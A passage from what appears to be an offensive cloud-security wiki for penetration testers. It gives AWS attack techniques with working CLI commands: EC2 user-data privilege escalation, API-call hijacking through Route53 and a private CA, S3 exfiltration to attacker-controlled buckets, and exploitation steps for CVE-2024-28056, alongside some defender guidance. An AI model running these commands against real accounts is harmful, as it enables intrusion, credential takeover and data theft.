      base64 file.txt > file.b64.txt

      Windows can do this with the following command.

      certutil -encode file.txt tmp.b64 && findstr /v /c:- tmp.b64 > file.b64.txt

      Now that you've base64 encoded your payload, you will leverage the ec2:ModifyInstanceAttribute API call to change the user data of the target instance.

      Note

      The instance will need to be stopped to modify its user data. You'll either have to stop it yourself, or wait for something else to stop it.

      aws ec2 modify-instance-attribute \\\n--instance-id=xxx \\\n--attribute userData \\\n--value file://file.b64.txt\n

      With that change made, simply start the instance again and your command will be executed with root/System.

      "},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#leverage-scripts-in-s3","title":"Leverage scripts in S3","text":"

      A common pattern when using EC2 is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download and set a config, etc. Oftentimes the scripts and packages are pulled from S3 and this introduces an opportunity for a developer/ops person to make a mistake.

      If the IAM role is too permissive and allows the role to write to that location, an adversary can leverage this for privilege escalation. Additionally, if there is any other kind of misconfiguration on the bucket itself, or another role which has access gets compromised, an adversary can take advantage of this as well.

      Take the following user data script:

      #!/bin/bash\naws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh\nchmod +x /root/start_script.sh\n/root/start_script.sh\n

      On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.

      Note

      In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.

      "},{"location":"aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/","title":"DNS and CloudFront Domain Takeover via Deleted S3 Buckets","text":"
      • Additional Resources

        Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover

      • Tools mentioned in this article

        domain-protect: OWASP Domain Protect - prevent subdomain takeover.

      Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

      Note

      Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

      <Error>\n<Code>NoSuchBucket</Code>\n<Message>The specified bucket does not exist</Message>\n<BucketName>hackingthe.cloud</BucketName>\n<RequestId>68M9C1KTARF9FBYN</RequestId>\n<HostId>RpbdvVU9AXidVVI/1zD+WTwYdVI5YMqQNJShmf6zJlztBVyINq8TtqbzWpThdi/LivlOWRVCPVs=</HostId>\n</Error>\n

      This made it easy for attackers to identify the bucket name and quickly create their own to serve malicious content. As of late 2023, this behavior has been changed. Now CloudFront distributions pointing to deleted S3 buckets will return a NotFound error, and will not include the bucket name. This is a clear security improvement from AWS and makes it more difficult for an adversary to abuse.

      If an adversary can enumerate the deleted bucket name through other means they can perform the attack as normal.

      While there are a variety of ways in which this could be harmful, typically an adversary would serve JavaScript content that could be used to impact other parts of the domain. An adversary could use this to potentially steal browser cookies, perform actions as the user, and more.

      Tip

      Misconfigurations such as these are typically caused by poor hygiene in retiring cloud resources. Always be sure to delete DNS records first to potentially mitigate these issues. There are automated services out there that will automate the discovery of vulnerable domains/CloudFront distributions such as OWASP's domain-protect.

      "},{"location":"aws/exploitation/route53_modification_privilege_escalation/","title":"AWS API Call Hijacking via ACM-PCA","text":"
      • Required IAM Permissions

        • route53:CreateHostedZone
        • route53:ChangeResourceRecordSets
        • acm-pca:IssueCertificate
        • acm-pca:GetCertificate
      • Recommended but not Required IAM Permissions

        • route53:GetHostedZone
        • route53:ListHostedZones
        • acm-pca:ListCertificateAuthorities
        • ec2:DescribeVpcs
      • Original Research

        Hijacking AWS API calls by niebardzo

      Note

      To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

      Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

      This is possible because:

      • AWS SDKs do not have Certificate Pinning
      • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
      • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

      For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

      aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>\n

      Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:

      {\n  \"Comment\": \"<anything>\",\n  \"Changes\": [{\n    \"Action\": \"UPSERT\",\n    \"ResourceRecordSet\": {\n      \"Name\": \"secretsmanager.us-east-1.amazonaws.com\",\n      \"Type\": \"A\",\n      \"TTL\": 0,\n      \"ResourceRecords\": [{\"Value\": \"<ip_of_adversary_instance_in_the_VPC>\"}]\n    }\n  }]\n}\n

      One set TTL to 0 to avoid DNS caching. Then, the advisory uses this payload to change-resource-record-sets:

      aws route53 change-resource-record-sets --hosted-zone-id <id_returned_by_previous_API_call> --change-batch file://mitm.json\n

      Now, the adversary must generate the CSR and send it for signing to the ACM-PCA, CSR and private key can be generated with OpenSSL:

      openssl req -new -newkey rsa:2048 -nodes -keyout your_domain.key -out your_domain.csr\n

      For CN (Common Name), one must provide secretsmanager.us-east-1.amazonaws.com. Then one sends the CSR to acm-pca to issue the certificate:

      aws acm-pca issue-certificate --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\" --csr file://your_domain.csr --signing-algorithm SHA256WITHRSA --validity Value=365,Type=\"DAYS\" --idempotency-token 1234\n

      It returns the signed certificate ARN in the response. The next call is to fetch the certificate.

      aws acm-pca get-certificate --certificate-arn \"<cert_arn_from_previous_response>\" --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\"\n

      Once one got the signed certificate on the disk as cert.crt, the adversary starts the listener or 443/TCP and sniffs the calls to the secretsmanager.us-east-1.amazonaws.com

      sudo ncat --listen -p 443 --ssl --ssl-cert cert.crt --ssl-key your_domain.key -v\n

      The calls can be then forwarded to the Secrets Manager VPCE to for example GetSecretValue and get unauthorized access to the data. The same action can be done with any AWS API called from the VPC - S3, KMS, etc.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/","title":"Exfiltrating S3 Data with Bucket Replication Policies","text":"
      • Additional Resources

        Data exfiltration with native AWS S3 features by Ben Leembnruggen

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#introduction","title":"Introduction","text":"

      S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#required-configurations-and-permissions","title":"Required Configurations and Permissions","text":""},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#pre-requisites","title":"Pre-requisites","text":"

      For bucket replication to be enabled, the following pre-requisites need to be in place:

      • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
      • Both source and destination buckets must have versioning enabled.
      • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.
      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#iam-role","title":"IAM Role","text":"

      Minimum Required IAM Permissions - Source Account

      • iam:CreateRole (creating a new role)
      • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
      • iam:UpdateAssumeRolePolicy

      Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

      Trust Policy

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": [\n                    \"s3.amazonaws.com\",\n                    \"batchoperations.s3.amazonaws.com\"\n                ]\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      IAM Permissions

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetReplicationConfiguration\",\n                \"s3:ListBucket\",\n                \"s3:PutInventoryConfiguration\",\n                \"s3:InitiateReplication\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetObjectVersionForReplication\",\n                \"s3:GetObjectVersionAcl\",\n                \"s3:GetObjectVersionTagging\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:ReplicateObject\",\n                \"s3:ReplicateDelete\",\n                \"s3:ReplicateTags\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n         \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjects\",\n         \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Decrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::SOURCEBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN SOURCE ACCOUNT CURRENTLY ENCRYPTING OBJECTS\" \n         ]\n      },\n      {\n        \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjectsToo\",\n        \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Encrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::DESTINATIONBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN DESTINATION ACCOUNT TO BE SPECIFIED IN REPLICATION POLICY\" \n         ]\n      }\n    ]\n}\n

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#kms-if-objects-are-encrypted","title":"KMS - If objects are encrypted","text":"

      Minimum Required IAM Permissions - Source Account

      • kms:PutKeyPolicy

      Where a KMS policy is configured to only allow a subset of principals to access an encrypted S3 object, the key policy will need to be updated to allow the above replication role access to decrypt the S3 objects.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#attacker-account-configuration","title":"Attacker Account Configuration","text":"

      Minimum Required IAM Permissions (Destination Account)

      • s3:PutBucketPolicy
      • kms:CreateKey, kms:PutKeyPolicy
      • s3:PutBucketVersioning

      In order for a bucket to receive logs from another account, it requires a bucket policy explicitly allowing the replication of objects across. An example of this policy is below.

      Destination Bucket Policy

      {\n   \"Version\":\"2012-10-17\",\n   \"Id\":\"\",\n   \"Statement\":[\n      {\n         \"Sid\":\"Set permissions for objects\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:ReplicateObject\", \n            \"s3:ReplicateDelete\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET/*\"\n      },\n      {\n         \"Sid\":\"Set permissions on bucket\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:List*\", \n            \"s3:GetBucketVersioning\", \n            \"s3:PutBucketVersioning\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET\"\n      }\n   ]\n}\n

      If the S3 objects in the source account are encrypted, a key must be created in the destination account to encrypt the objects on replication. Additionally, a pre-requisite of bucket replication is that Bucket Versioning is enabled on the destination bucket.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#configuring-the-replication","title":"Configuring the replication","text":"

      Minimum Required IAM Permissions - Source Account

      • s3:PutBucketReplication
      • iam:PassRole
      • s3:CreateJob & s3:UpdateJobStatus (Creating and starting a S3 batch replication job)
      • s3:PutBucketVersioning (Only if not already enabled)

      The final step is to configure the replication between the source and destination buckets. Depending on whether you use the CLI or console, the steps can change slightly. The full process for both options is documented by AWS here.

      In line with the steps above, ensure that: - Specify your created S3 replication role - Replicate existing objects (Disabled by default) - Select Replicate KMS Encrypted objects if needed (Disabled by default) - The Key ID should be the KMS key in the destination account.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#what-defenders-can-look-for","title":"What defenders can look for","text":"
      • Unknown PutBucketReplication or JobCreated events in the Cloudtrail Management trail. The JobCreated event is generated when an S3 Batch operation job has been created, indicating that all existing objects in a bucket are being replicated across, as opposed to only future S3 objects.
      • When an encrypted object is replicated, KMS Decrypt/Encrypt events will appear in a Cloudtrail Management trail, with a principalID and sts assumed role prefixed with 's3-replication'. These encryption events will reference a KMS key in another account - which may trigger certain data perimeter detections.

      • Unknown PutBucketVersioning events (a pre-requisite of bucket replication) on existing S3 buckets, recorded by the Cloudtrail Management trail.

      "},{"location":"aws/exploitation/s3_server_access_logs/","title":"Data Exfiltration through S3 Server Access Logs","text":"
      • Original Research

        Cloud services as exfiltration mechanisms by Costas Kourmpoglou

      If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

      With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

      "},{"location":"aws/exploitation/s3_server_access_logs/#how","title":"How","text":"

      We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

      aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

      The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

      We'll receive the data in the default logging format:

      [..] attackerbucket [\u2026] 8.8.8.8 \u2013 [\u2026] REST.GET.OBJECT ExampleDataToExfiltrate \"GET / ExampleDataToExfiltrate HTTP/1.1\" 403 AccessDenied 243 - 18 - \"-\" \"UserAgentAlsoHasData \" \u2013 [\u2026]\n

      We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

      "},{"location":"aws/exploitation/s3_server_access_logs/#challenges","title":"Challenges","text":"

      There are two challenges with this method:

      1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

      2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

      For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.

      "},{"location":"aws/exploitation/s3_streaming_copy/","title":"S3 Streaming Copy","text":"

      Shout Out to Janardhan Prabhakara for showing me this all those years ago!

      Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

      Why would anyone use this?

      In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

      If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

      When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

      When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

      Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

      [attacker]\naws_access_key_id = <attacker_key_id>\naws_secret_access_key = <attacker_secret_key>\n

      Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment.

      Note

      This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.

      [victim]\naws_access_key_id = <victim_key_id>\naws_secret_access_key = <victim_secret_key>\n

      Step 3: example: S3 Stream Copy command for a single file from cli

      aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

      Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile

      aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

      Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.

      This is becoming more common with the popularity of Data Perimeter guardrails

      Note

      If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/","title":"Misconfigured Resource-Based Policies","text":"

      Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

      For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3Listing\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::super-public-fun-bucket\"\n        }\n    ]\n}\n

      Resource-based policies make it easy to share AWS resources across AWS accounts. They also, as a result, make it easy to unintentionally share resources. The common example of this is misconfigured S3 buckets which leak sensitive information.

      For a Penetration Tester or Red Teamer it is important to understand the intricacies of how resource-based policies work, and how they can be abused.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks","title":"The \u201c*\u201d Principal and Risks","text":"

      In a resource-based policy you must specify a \u201cprincipal\u201d. This is the entity who is allowed (or denied) the ability to perform the action. It is possible to specify \u201c*\u201d as a principal which means that all users will be able to act on it. This effectively makes the resource public and anyone can perform actions against it.

      For a real world example of this, a telecommunications company had the following bucket policy set.

      {\n  \"Sid\": \"AllowPublicRead\",\n  \"Effect\": \"Allow\",\n  \"Principal\": {\n    \"AWS\": \"*\"\n  },\n  \"Action\": [\n    \"s3:GetObject\",\n    \"s3:PutObject\"\n  ],\n  \"Resource\": \"arn:aws:s3:::media.tellacom.com/taskrouter/*\"\n}\n

      The bucket this policy was attached to was used to distribute a JavaScript SDK, which would be a valid use-case for a public S3 bucket. As can be seen from the Action statement, the policy permitted both s3:GetObject and s3:PutObject. This enabled an attacker to overwrite the JavaScript SDK sitting in the bucket with malicious code. This code was then distributed from the legitimate bucket.

      While resource-based policy misconfigurations are often associated with leaking information (read), it is equally as dangerous that an adversary could modify (write to) the resource(s).

      Note

      Condition operators can be used to scope down the policy. For example, the principal can be set to \u201c*\u201d but the conditions can enforce which account can perform an action. It is important to thoroughly read the policy and understand the context before creating a finding for it.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#more-than-just-s3-buckets","title":"More Than Just S3 Buckets","text":"

      It is worth noting that there are many different AWS services/resources which make use of resource-based policies. Each service will have its own security implications based on what the principal is and what the actions are.

      Note

      Prowler, an AWS assessment tool, can be used to quickly audit resource policies in an AWS account. Be mindful that it cannot contextualize all condition operators, and how they affect the account\u2019s security.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#dumping-and-analyzing-resource-based-policies-at-scale","title":"Dumping and analyzing resource-based policies at scale","text":"

      You can download a copy of all resource-based policies configured in an account and run security linting checks against them using the aws-lint-iam-policies tool. It performs linting checks using the AWS IAM Access Analyzer policy validation feature, which also brings along a list of security-focused checks.

      Example invocation:

      python aws_lint_iam_policies.py --scope ACCOUNT --dump-policies\n

      Instead of analyzing a single AWS account, the tool can also target all accounts of an AWS Organization.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#resource-based-policy-evaluation-logic","title":"Resource-Based Policy Evaluation Logic","text":"

      It is important to note that resource-based policies have a unique quirk when it comes to policy evaluation logic. From the documentation, \u201cDepending on the type of principal, an Allow in a resource-based policy can result in a final decision of Allow, even if an implicit deny in an identity-based policy, permissions boundary, or session policy is present [within the same account]\u201d.

      Note

      An implicit deny is when there is no specific Deny statement, but there is also no Allow statement in a policy. You can think of an implicit deny as the starting point of a policy. Everything is denied by default and access has to be granted.

      An explicit deny is when there is a specific Deny statement in a policy.

      More information can be found in the documentation for the difference between explicit and implicit denies.

      This means that if there is an Allow in a resource policy, that entity can perform actions on the resource without an associated identity policy. Take the following SNS topic access policy (a form of resource-based policy) for example:

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n      },\n      \"Action\": [\n        \"SNS:GetTopicAttributes\",\n        \"SNS:SetTopicAttributes\"\n      ],\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
      This policy would permit the tester IAM user to perform sns:GetTopicAttributes and sns:SetTopicAttributes without the need for an Allow in the identity policies attached to the user.

      Note

      This behavior only applies to entities in the same AWS account. If the resource-based policy specified an IAM user in a different AWS account, that user would need to have an identity policy attached that allowed the action.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#not-policy-elements","title":"\u201cNot\u201d Policy Elements","text":"

      Within the syntax for IAM policies in AWS exist three \u201cNot\u201d policy elements, NotPrincipal, NotAction, and NotResource. These elements have the inverse effect of their similarly named counterparts and, when paired with an Allow, can be a very serious misconfiguration.

      Because of this, policies which include these elements should be strictly scrutinized for potential misconfigurations.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notprincipal","title":"NotPrincipal","text":"

      The NotPrincipal element is used to specify which entity is not a part of the policy. When paired with an Allow this means that all entities (including those outside of the account) will be permitted to perform actions against the resource.

      For example, the following SNS access policy would permit any entity to perform sns:GetTopicAttributes except for the jim user.

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"NotPrincipal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notaction","title":"NotAction","text":"

      The NotAction element is used to specify all actions except the specified one. When paired with an Allow this means that all actions except the ones specified will be permitted.

      For example, the following SNS access policy would permit any entity the ability to perform all SNS actions except sns:Publish.

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"NotAction\": \"SNS:Publish\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notresource","title":"NotResource","text":"

      The NotResource element is used to specify all resources except the specified one. When paired with an Allow this means that if the resource is incorrect, or mistyped, the statement will evaluate to true.

      For example, the following SNS access policy for an SNS topic named first_topic would permit the user jim the ability to perform the sns:GetTopicAttributes action because the statement specifies a NotResource element of second_topic.

      {\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::222222222222:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"NotResource\": \"arn:aws:sns:us-east-1:111111111111:second_topic\"\n    }\n  ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/","title":"CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios","text":"
      • Original Research

        Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover by Nick Frichette

      • Additional Resources

        AWS Security Bulletin: CVE-2024-28056

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#background","title":"Background","text":"

      In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.

      In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:

      • Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.
      • Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.
      • Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.

      This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the basic (classic) authflow enabled.

      Warning

      To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.

      Note

      This is not realistically something that can be \"fixed\". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#unauthenticated-example","title":"Unauthenticated Example","text":"

      In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\"\n        }\n    ]\n}\n

      Note

      There is another variant of this misconfiguration where the trust policy includes a condition for cognito-identity.amazonaws.com:amr that is set to unauthenticated.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit","title":"Steps to Exploit","text":"

      In order to assume a role that has this vulnerable trust policy, follow these steps:

      1. Using the AWS CLI, perform the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id>
        • This can typically be found in the client side JavaScript of the web application using this identity pool.
      2. Using the IdentityId from step one, perform the following command: aws cognito-identity get-open-id-token --identity-id <identity id from step 1>
        • This will return a JWT we can use to authenticate to the vulnerable role. You can inspect this JWT if you so choose.
      3. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 2>
        • The vulnerable role ARN will need to be brute-forced, derived from other values, found in source control, or a variety of other means.

      By following these steps you should successfully generate IAM credentials for the vulnerable role:

      {\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIA123ABC456DEF789G\",\n        \"SecretAccessKey\": \"123ABC456DEF789G123ABC456DEF789GHI012JKL\",\n        \"SessionToken\": \"...snip...\",\n        \"Expiration\": \"2024-07-31T20:02:33+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"us-east-1:00000000-1111-2222-3333-444444444444\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROA123ABC456DEF789G:hijacked_role\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vulnerable-amplify-role/hijacked_role\"\n    },\n    \"Provider\": \"cognito-identity.amazonaws.com\",\n    \"Audience\": \"us-east-1:aaaaaaaa-1111-bbbb-2222-cccccccccccc\"\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#authenticated-example","title":"Authenticated Example","text":"

      In an authenticated scenario, the identity pool in the victim account must be configured to support authentication with a Cognito user pool. An example vulnerable role trust policy can be found below:

